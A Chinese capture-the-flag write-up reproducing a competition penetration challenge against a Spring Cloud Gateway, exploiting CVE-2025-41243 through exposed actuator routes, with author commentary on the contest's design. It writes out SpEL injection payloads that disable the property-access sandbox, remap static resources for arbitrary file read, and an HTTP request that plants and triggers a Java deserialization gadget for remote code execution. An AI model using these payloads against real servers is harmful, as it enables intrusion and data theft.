长城杯总决赛 渗透-微服务网关 赛后复现(CVE-2025-41243)

长城杯总决赛 渗透-Java微服务网关 赛后复现

题目入手

官方并没有给出附件,这个题目是渗透环境中内网一个叫“微服务网关”的主机,需要先从入口机进入后,扫描192.168.7.0/24段的IP

随后即可发现一台在8092开着一个Spring服务的机器

使用fscan扫描还可以发现这个IP上还开着一个ftp,并且可以匿名登录

image-20260504183922691

在这里匿名登录以后,进入pub文件夹即可拿到app.jar,也就是本题对应的jar包

源码分析

拖进jdgui里面简单看看,发现其实内容很少,只注册了一个路由,/analyze

image-20260504184121119

分析可以看出这里要拿一个token做校验,对应 tokenBean 中的 generateToken() 方法

随后如果token检验通过,便直接把传过去的data参数拿去反序列化

image-20260504185633807

先看了下依赖,发现有jackson,可以基本确定是打jackson的原生反序列化来rce了。

柳暗花明1

继续看它token生成的逻辑时发现,题目没这么简单:

image-20260504184253806

image-20260504184553288

看到这里可以大概了解了,流程如下:

  1. 生成 64 字节的安全随机种子
  2. 获取当前纳秒时间戳
  3. 将种子 + 时间戳一起做 SHA256 哈希
  4. 用哈希对原始种子做异或,最后Base64编码输出

Token预测?

当时看到这里,我们就在想有没有办法伪造?代码虽然获取了当前系统时间,但是也只是种子的一部分。难道是要利用java的SecureRandom的特性来实现预测种子?这几乎是不可能的,底层实现读的是 /dev/urandom ,况且也没有远程主机的任何信息,也就是说这里几乎是不可能预测下一次的token的。

所以靠预测token这条路不可行

条件竞争?爆破?

随后又想到,也许是打条件竞争来想办法弄出相同的种子?

1
2
3
String expectedToken = this.tokenBean.generateToken();
if (!expectedToken.equals(token))
return Mono.just("forbidden");

然而它代码的实现,是每次请求都调用generateToken(),这意味着对于每次请求都是生成新的token。

而即使时间上能对上,nextBytes() 本身也会往下接着读/dev/urandom 生成新的token,这意味着条件竞争这条路也走不通

当时我们另一个web手一起看的,直接照着逻辑抄了一遍弄了个token生成器,在大量token中也没有发现任何规律,加上token本身长度就很长,又是base64的字符空间,所以爆破也是根本不可能的。

于是便在后来的actuator gateway中发现了一些线索

Spring actuator

当时开始时确实发现了有 /actuator/gateway 路由,但是刚拿到时感觉没什么用,我们平常最熟知的就是heapdump,但是仅暴露了gateway,所以放到后面来看了

1
2
3
4
5
6
7
8
9
10
11
server:
port: 8092

management:
endpoints:
web:
exposure:
include: gateway
endpoint:
gateway:
access: unrestricted

题目这里显式暴露了gateway,再结合其springcloud,猜想到也许是CVE-2022-22947(Spel表达式注入)

Patched CVE-2022-22947

使用poc打过去以后,再/actuator/gateway/refresh刷新一下,响应看似是200 OK,实际报错已经在终端输出了,只有在本地调试时才能看到,并且会弄脏路由,如果没有DELETE的话下次还会报错导致后续其他测试失败,机器要重启也很麻烦。

1
org.springframework.expression.spel.SpelEvaluationException: EL1005E: Type cannot be found 'org.springframework.util.StreamUtils'

在Google搜索这个报错,第一个结果就是https://github.com/spring-cloud/spring-cloud-gateway/issues/2605

image-20260504213443431

随后下面便提到

image-20260504213513657

这里说明22947这个CVE已经修复,没法直接打

关于spring spel的EvaluationContext 实现类

EvaluationContext 接口有俩实现类,分别是 StandardEvaluationContextSimpleEvaluationContext

SimpleEvaluationContext 就是spring官方给出的修复方案,即专门为不可信输入设计的沙箱上下文,不能用 T() 引用 Java 类型、不能调用任意方法(只能调用显式注册的方法)、不能访问构造器,

这个报错便是在这里使用了 SimpleEvaluationContext ,也就是说这里是22947修复以后的环境,没有办法直接RCE,只能简单计算和拿一些系统属性,比如#{@systemEnvironment['FLAG']},然而flag肯定不在环境变量里,毕竟不是CTF题。 #{@tokenBean.serialVersionUID} 也无法获取,直接报错

1
org.springframework.expression.spel.SpelEvaluationException: EL1008E: Property or field 'serialVersionUID' cannot be found on object of type 'com.example.gateway.bean.TokenBean' - maybe not public or not valid?

CVE-2025-41243 Spel Property Modification

这个CVE简单来说就是Springcloud的 RestrictivePropertyAccessor 方法这里重写了 canRead 方法,其作用是在执行 spel 表达式时将所有尝试读取目标对象的属性的操作都拒绝,也就是不可读,但是没有重写 canWrite 方法

SimpleEvaluationContext 可以通过 SpEL 表达式访问和调用 Spring Bean,而且这里已注册的 Bean 列表不仅限于 Spring Cloud Gateway 本身注册的 Bean,还包括 Spring Framework 核心注册的 Bean

1
#{ @systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = false}

禁用限制后,SpEL 上下文切换为 SimpleEvaluationContext.forReadOnlyDataBinding(),这个模式允许:

  • 属性读取(调用 getter)
  • 索引写入(list[0] = xxx,走的是 Indexer 而非 PropertyAccessor)
  • 无参方法可以当属性访问(调用 bean.methodName

看到无参这里估计很多师傅已经想到怎么打了,但是先说说在别的师傅那里听到的一种非预期方法,确实也是CVE-2025-41243的利用方法之一:

非预期:改静态资源路径实现任意文件读

resourceHandlerMapping 是 Spring Boot 自动配置注册的一个 SimpleUrlHandlerMapping Bean,负责将 URL 模式映射到静态资源位置,直接修改到/来实现对机器的任意文件读

1
@resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///'

然后重新初始化Handler,触发无参静态方法刷新配置

1
#{@resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet ?: 'ok'}

随后再访问/flag即可拿到

然而这个非预期比较难受的是,虽然拿到了flag但是没有rce,而接下来的域控部分都在这个微服务网关之后,所以拿到flag也只是卡在这里,没有办法继续往下走了

柳暗花明2

说回RCE,我们回看一下题目中的 AnalyzerBean

image-20260504200315318

发现 analyzerBean.readObject 是无参的,而实际的序列化数据写在blob索引里,直接用@analyzerBean.blob[0] = 来写入即可。

对应上面提到的几个绕过以后的能力,我们便可以先构造好数据写进索引然后再触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /actuator/gateway/routes/rce HTTP/1.1
Host: localhost:8092
Connection: close
Content-Type: application/json
Content-Length: 2234

{
"uri": "http://example.com",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Write0",
"value": "#{@analyzerBean.blob[0] = @tokenBean.serialVersionUID}"
}
},
{
"name": "AddResponseHeader",
"args": {
"name": "Write1",
"value": "#{@analyzerBean.blob[1] = 'H4sIAAAAAAAA/7VWXWgcV..............'}"
}
},
{
"name": "AddResponseHeader",
"args": {
"name": "Deser",
"value": "#{@analyzerBean.readObject ?: 'done'}"
}
}]
}

反序列化这里,直接使用java-chains生成的jackson链是打不通的,分析题目可以知道用的是很新的spring,已经开始对jdk版本有要求,最低要跑在jdk17上,手动构造链子打通了..

至此到这里这个题目就成功RCE

image-20260504201722663

实际触发时不需要真正访问一遍路由,在refresh时就会触发反序列化然后rce

一些个人想法

首先不得不说的一点是,CVE-2025-41243是2025年9月份的CVE,其从时间上来说确实比较新,并且光靠CVE本身是无法rce的。更何况这里其实利用到的是CVE背后的SpringCloud本身的特性,即"能调用Bean的无参方法"和"写入索引"。白帽酱师傅的文章确实有说,但搜了下全网在研究的基本就1-2篇文章分析,阿里云那篇则是考虑使用h2-console来RCE。离线比赛考很新的CVE本来就很难,这个还要求真正分析CVE并存储了文章的,并且还是在大学生,那还能说什么呢?

其次就是故意放个TokenBean在那,由于隔壁CTF还有个题目也是类似的,绕黑名单的反序列化,这里多少不会先往CVE想,而是先看怎么绕TokenBean,一来一回时间就过去不少,既然要考CVE,那不如路由都别注册了,直接留个AnalyzerBean就够了,故意留个障眼法确实很无语。。。

从赛后数据也可以看出来,整个渗透部分,除了HASHTEAM等少数(我没记错的话就3-4个队伍)拿到了2个flag,全场150多个队伍,都是1个flag,分数全部都在200及以下。至于HASHTEAM那边可能做的也不是这题,火箭去问了似乎做的是另一个题,也就是说整场上,8个多小时的9个flag的比赛,大家都是卡在第一个机器上,几乎没有人拿到第二个flag,这是否说明这题的难度或者场景不合适呢?

image-20260504210200853

去年长城杯的渗透就挺不错,有邮件,git,应急等多种实际场景的题目。而今年就变成了"一条龙渗透",即中间打不通后面就没法打,并且也是这种角度刁钻的题目,如果中间的打不通整条链子就断了,我觉得这样的题目真的缺点儿意思。

最让我无语的是听另一位师傅说,ftp那里,爆破一下密码,ctf/ctf就可以登上去然后拿flag,那我就请问了出这个题目的意义是什么?一般内网ftp匿名登录可以拿文件,基本就不会再想着要去爆破一下密码了,正常的思路肯定是拿源码下来分析,那这里放这个微服务网关是何意味呢?并且放的这个弱密码也是抽象完了,题目都说了模拟真实的企业域网络环境,结果来个ctf/ctf弱密码,真实在哪?

评价为拉完了。

参考

[Spring Cloud GateWay CVE-2025-41243 分析] https://xz.aliyun.com/news/19006

[CVE-2025-41243 Spring Cloud Gateway SpEL 沙箱从任意属性访问到任意文件下载] https://rce.moe/2025/09/29/CVE-2025-41243/

[jackson 原生反序列化触发 getter 方法] https://www.cnblogs.com/gaorenyusi/p/18411269